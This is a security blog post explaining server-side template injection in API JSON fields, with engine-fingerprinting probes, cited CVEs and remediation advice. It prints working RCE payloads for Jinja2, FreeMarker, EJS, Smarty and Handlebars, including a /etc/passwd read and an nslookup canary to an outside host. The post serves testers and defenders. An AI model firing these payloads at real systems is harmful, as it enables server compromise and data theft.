DEV Community

Davi
Davi

Posted on Originally published at blog.mago.team

SSTI in APIs: When JSON Parameters Reach Template Engines and Become RCE

Your API returns 200 OK. No reflected XSS, no SQL error, no stack trace. The JSON field sent was {"name": "{{7*7}}"} and the response came back with {"greeting": "Hello, 49"}. The template engine is talking.

SSTI in APIs is not the same vulnerability as SSTI in web applications. The injection surface is JSON parameters and HTTP headers flowing to server-side template engines, not HTML forms. The impact jumps from reflected XSS to remote code execution (RCE), because engines like Jinja2, FreeMarker, and EJS have full access to the Python interpreter, the JVM, or Node.js. Most API scanners fail here because they probe XSS payloads, not template syntax.

Template Engines Live Inside API Backends, Not Just Web Forms

APIs couple attacker-controlled JSON fields to template engines without exposing that coupling in the contract. The endpoint accepts {"firstname": "Alice"}, passes the value to a Smarty email template, and returns a rendered email.

H1 #164224 (Unikrn, Critical, 122 upvotes) documents exactly this pattern. The invitation API accepted firstname and lastname, flowed them to Smarty templates without escaping delimiters, and {php}echo file_get_contents('/etc/passwd');{/php} executed on the server.

3 surfaces appear most frequently in API audits. Email APIs accept display names that flow to Jinja2 or FreeMarker templates without sanitization. PDF generation services render templates with user-supplied JSON values; FreeMarker, Velocity, and Pebble dominate Java PDF stacks. Notification APIs interpolate user preferences directly into template strings.

CVE-2026-22244 (OpenMetadata, CVSS 9.1) makes this concrete. The PATCH /api/v1/docStore/{templateId} endpoint accepted request body content and passed it directly to FreeMarker Configuration without TemplateClassResolver. Versions up to 1.11.3 are affected; fixed in 1.11.4.

The problem is not the template engine itself. The problem is that the developer who wrote the API endpoint did not know the downstream email service uses FreeMarker.

Detection: Arithmetic Disambiguation Separates Engines with Brace Syntax

The {{7*7}} test is the starting point, not the endpoint. A response of 49 confirms a double-brace engine, but not which engine. The distinction matters because the exploitation payload changes completely between Jinja2, Twig, and Pebble.

3 probes resolve engine fingerprinting. Probe 1 (universal): {{7*7}} in the JSON field. Response 49 indicates a double-brace engine; no change, try ${7*7} for FreeMarker and Velocity.

Probe 2 (string multiplication): {{7*'7'}}. Response 7777777 confirms Jinja2 or Nunjucks, because Python multiplies a string by an integer. Response 49 confirms Twig, because PHP coerces the string to an integer before multiplication.

Pebble throws a type error, distinguishing itself from Jinja2. Probe 3 (ERB delimiter): <%= 7*7 %>. Response 49 confirms EJS or Ruby ERB.

CVE-2022-29078 (EJS, CVSS 9.8) requires none of these probes. The HTTP parameter settings[view options][outputFunctionName] overwrites an internal EJS option with an arbitrary OS command, executed at template compile time. PoC: outputFunctionName=x;process.mainModule.require('child_process').exec('id').

FreeMarker confirms with ${7*7} returning 49 and scales directly to ${'freemarker.template.utility.Execute'?new()('id')}.

The scanner blind spot is structural. Burp Suite and OWASP ZAP in active mode probe <script>alert(1)</script> and SQL error patterns. {{7*7}} and ${7*7} are absent from standard payload lists for REST APIs. The number 49 in a JSON response triggers no alert.

Jinja2: The Python Object Graph Turns 49 into Process Execution in 3 Steps

Jinja2 exposes the full Python object hierarchy from any string literal. Arithmetic fingerprinting confirms the engine; the MRO chain converts that confirmation into access to subprocess.Popen.

Step 1 (confirm): {{7*7}} returning 49 and {{7*'7'}} returning 7777777 confirm Jinja2, ruling out Twig and Pebble.

Step 2 (expose subclasses): {{''.__class__.__mro__[1].__subclasses__()|list}} returns all Python subclasses loaded in the process as an indexed list.

Step 3 (execute): locate index N of subprocess.Popen in the returned list. Then: {{''.__class__.__mro__[1].__subclasses__()[N](['id'], stdout=-1).communicate()}} returns the command output.

In Flask environments with the config context available in the template, the alternative chain is shorter: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}.

CVE-2019-8341 (Jinja2 2.10, CVSS 9.8, disputed) documents the API pattern that makes this reachable. from_string() accepts untrusted template source and renders it; maintainers argue this is API misuse, but the function is widely deployed in email and PDF pipelines without sandboxing. CVE-2024-34064 (Jinja2, CVSS 5.4) adds context: the xmlattr filter accepted non-attribute characters after the CVE-2024-22195 patch. Jinja2 filter security is iterative, not resolved.

H1 #423541 (Shopify, Critical) documents the cross-engine parallel. The email workflow API allowed Handlebars template customization; {{this.constructor.constructor('return process')().env}} escaped the prototype sandbox. The engine is different. The API pattern is identical.

FreeMarker and EJS: The JVM and Node.js Carry Their Own Arsenal

FreeMarker includes the Execute class in its own JAR. RCE is one expression away from any API endpoint that instantiates FreeMarker Configuration without a TemplateClassResolver.

The direct payload: ${'freemarker.template.utility.Execute'?new()('id')}. The ?new() operator instantiates Execute from FreeMarker's own classpath, with no external dependency. When Execute is blocked, the fallback uses the JDK standard library: ${'java.lang.ProcessBuilder'?new(['id']).start()}.

3 CVEs with CVSS between 8.8 and 9.1 confirm this reaches production. CVE-2026-22244 (OpenMetadata, CVSS 9.1): PATCH /api/v1/docStore/{templateId} without TemplateClassResolver; fixed in 1.11.4. CVE-2023-49964 (Alfresco 7.2.0, CVSS 8.8): incomplete fix for CVE-2020-12873 allowed bypass via folder.get.html.ftl. CVE-2022-25813 (Apache OFBiz 18.12.05): anonymous user injects FreeMarker payload into the contact API Subject field; the SSTI is stored and executes when the party manager lists communications.

In the Node.js stack, EJS is the equivalent surface. CVE-2022-29078 (CVSS 9.8) requires no EJS syntax identification: settings[view options][outputFunctionName] reaches template compilation as a function name, replaced by any OS command. H1 #3122019 (Fastify @fastify/view, Critical) confirms: reply.view({raw: attackerInput}) with the EJS engine passed an attacker-controlled string as a raw template, resulting in RCE.

Detection Methodology: 4 Steps from Parameter to Confirmed RCE

The methodology is sequential and avoids side-effect payloads until the final step. Each stage consumes the result of the previous one.

Step 1 (parameter enumeration): map all string fields accepted by the endpoint, including nested JSON, HTTP headers, query parameters, and multipart filenames. Fields like template, body, subject, name, outputFunctionName, and report_title appear most frequently in documented HackerOne reports and CVEs.

Step 2 (universal arithmetic probe): send {{7*7}} in every string field identified in Step 1. Response 49 confirms a double-brace engine. Send ${7*7} in parallel for FreeMarker and Velocity. Send <%= 7*7 %> for EJS and ERB. These probes have no side effects. No file is created. No process is started.

Step 3 (engine fingerprinting): apply the string multiplication probe {{7*'7'}}. Result 7777777 confirms Jinja2 or Nunjucks. Result 49 confirms Twig. Type error confirms Pebble. Combine with the delimiter syntax identified in Step 2 to eliminate residual ambiguity.

Step 4 (OOB DNS RCE canary): instead of executing id directly, request DNS resolution for a researcher-controlled subdomain. For FreeMarker: ${'freemarker.template.utility.Execute'?new()('nslookup yourburp.oastify.com')}. For Jinja2: {{''.__class__.__mro__[1].__subclasses__()[N](['nslookup','yourburp.oastify.com'],stdout=-1).communicate()}}. DNS resolution confirms RCE without exfiltrating production data.

(MAGO team tool) automates Steps 1 through 3. The tool probes JSON parameters and HTTP headers for template syntax, applies arithmetic disambiguation between engines, and returns the engine fingerprint with a confidence level. Step 4 remains manual: the decision to confirm RCE requires explicit scope and authorization.

The fix is architectural. User input belongs in the template context dictionary, never in the template string itself. Any endpoint that accepts a template, body, subject, or name field and passes it directly to render() or compile() is one HTTP request away from OS command execution.

FreeMarker installations must configure SAFER_RESOLVER as TemplateClassResolver. Jinja2 deployments must use SandboxedEnvironment and never call from_string() with user input. Audit all render() call sites, not just HTML form handlers.

Top comments (0)